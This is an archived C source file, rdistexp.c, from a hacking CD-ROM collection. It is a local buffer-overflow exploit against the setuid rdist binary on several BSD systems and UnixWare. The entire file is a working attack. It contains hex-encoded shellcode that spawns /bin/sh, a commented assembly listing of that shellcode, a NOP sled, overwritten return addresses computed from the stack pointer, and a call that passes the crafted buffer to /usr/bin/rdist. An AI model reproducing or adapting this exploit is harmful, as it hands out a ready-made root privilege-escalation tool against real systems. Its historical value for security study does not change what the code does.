home *** CD-ROM | disk | FTP | other *** search
/ Hacks & Cracks / Hacks_and_Cracks.iso / hackersclub / km / downloads / linux / cscripts / rdistexp.c < prev    next >
Encoding:
C/C++ Source or Header  |  1998-03-25  |  2.4 KB  |  121 lines

  1.  
  2. /*
  3. here is the rdist exploit code I posted to bugtraq some time ago - 
  4. freebsd/netbsd/bsdi/openbsd/unixware (reportedly, i havent verified that)
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10.  
  11. #define DEFAULT_OFFSET        50
  12. #define BUFFER_SIZE        256
  13.  
  14. long get_esp(void)
  15. {
  16.    __asm__("movl %esp,%eax\n");
  17. }
  18.  
  19. main(int argc, char **argv)
  20. {
  21.    char *buff = NULL;
  22.    unsigned long *addr_ptr = NULL;
  23.    char *ptr = NULL;
  24.  
  25. /* so you dont have to disassemble it, here is the asm code:
  26. start:
  27. jmp     endofk0dez
  28. realstart:
  29. popl    %esi
  30. leal    (%esi), %ebx
  31. movl    %ebx, 0x0b(%esi)
  32. xorl    %edx, %edx
  33. movl    %edx, 7(%esi)
  34. movl    %edx, 0x0f(%esi)
  35. movl    %edx, 0x14(%esi)
  36. movb    %edx, 0x19(%esi)
  37. xorl    %eax, %eax
  38. movb    $59, %al
  39. leal    0x0b(%esi), %ecx
  40. movl    %ecx, %edx
  41. pushl   %edx
  42. pushl   %ecx
  43. pushl   %ebx
  44. pushl   %eax
  45. jmp     bewm
  46. endofk0dez:
  47. call    realstart
  48. .byte   '/', 'b', 'i', 'n', '/', 's', 'h'
  49. .byte   1, 1, 1, 1
  50. .byte   2, 2, 2, 2
  51. .byte   3, 3, 3, 3
  52. bewm:
  53. .byte   0x9a, 4, 4, 4, 4, 7, 4
  54. */
  55.    
  56.    char execshell[] =
  57.    "\xeb\x23"
  58.    "\x5e"
  59.    "\x8d\x1e"
  60.    "\x89\x5e\x0b"
  61.    "\x31\xd2"
  62.    "\x89\x56\x07"
  63.    "\x89\x56\x0f"
  64.    "\x89\x56\x14"
  65.    "\x88\x56\x19"
  66.    "\x31\xc0"
  67.    "\xb0\x3b"
  68.    "\x8d\x4e\x0b"
  69.    "\x89\xca"
  70.    "\x52"
  71.    "\x51"
  72.    "\x53"
  73.    "\x50"
  74.    "\xeb\x18"
  75.    "\xe8\xd8\xff\xff\xff"
  76.    "/bin/sh"
  77.    "\x01\x01\x01\x01"
  78.    "\x02\x02\x02\x02"
  79.    "\x03\x03\x03\x03"
  80.    "\x9a\x04\x04\x04\x04\x07\x04";
  81.    
  82.    int i;
  83.    int ofs = DEFAULT_OFFSET;
  84.  
  85.    /* if we have a argument, use it as offset, else use default */
  86.    if(argc == 2)
  87.       ofs = atoi(argv[1]);   
  88.    /* print the offset in use */
  89.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  90.    
  91.    buff = malloc(4096);
  92.    if(!buff)
  93.    {
  94.       printf("can't allocate memory\n");
  95.       exit(0);
  96.    }
  97.    ptr = buff;
  98.    /* fill start of buffer with nops */
  99.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  100.    ptr += BUFFER_SIZE-strlen(execshell);
  101.    /* stick asm code into the buffer */
  102.    for(i=0;i < strlen(execshell);i++) 
  103.       *(ptr++) = execshell[i];
  104.    /* write the return addresses
  105.    **
  106.    ** return address                4
  107.    ** ebp                    4
  108.    ** register unsigned n            0
  109.    ** register char *cp                0
  110.    ** register struct syment *s            0
  111.    **
  112.    ** total: 8
  113.    */
  114.    addr_ptr = (long *)ptr;
  115.    for(i=0;i < (8/4);i++)
  116.       *(addr_ptr++) = get_esp() + ofs;
  117.    ptr = (char *)addr_ptr;
  118.    *ptr = 0;
  119.    execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
  120. }
  121.